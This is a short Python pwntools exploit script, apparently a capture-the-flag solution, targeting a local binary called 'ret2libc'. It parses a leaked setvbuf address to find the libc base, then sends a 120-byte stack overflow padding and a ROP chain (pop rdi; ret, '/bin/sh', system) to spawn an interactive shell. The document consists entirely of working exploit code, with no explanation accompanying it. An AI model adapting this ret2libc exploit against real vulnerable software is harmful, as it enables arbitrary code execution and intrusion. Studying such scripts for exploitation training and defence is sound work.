#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

r = process('./ret2libc')
libc = ELF('./libc.so.6')

padding = 'a'*120
vuln = 0x4006a8
pop_rdi_ret = 0x0000000000400773 

r.recvuntil(':')

libc_base = int(r.recvuntil('\n')[:-1],16) - libc.symbols['setvbuf']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc.search('/bin/sh').next() + libc_base
print '[*] libc_base :',hex(libc_base)

r.sendline(padding + p64(vuln))
raw_input('#')
r.sendline(padding + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr))


r.interactive()
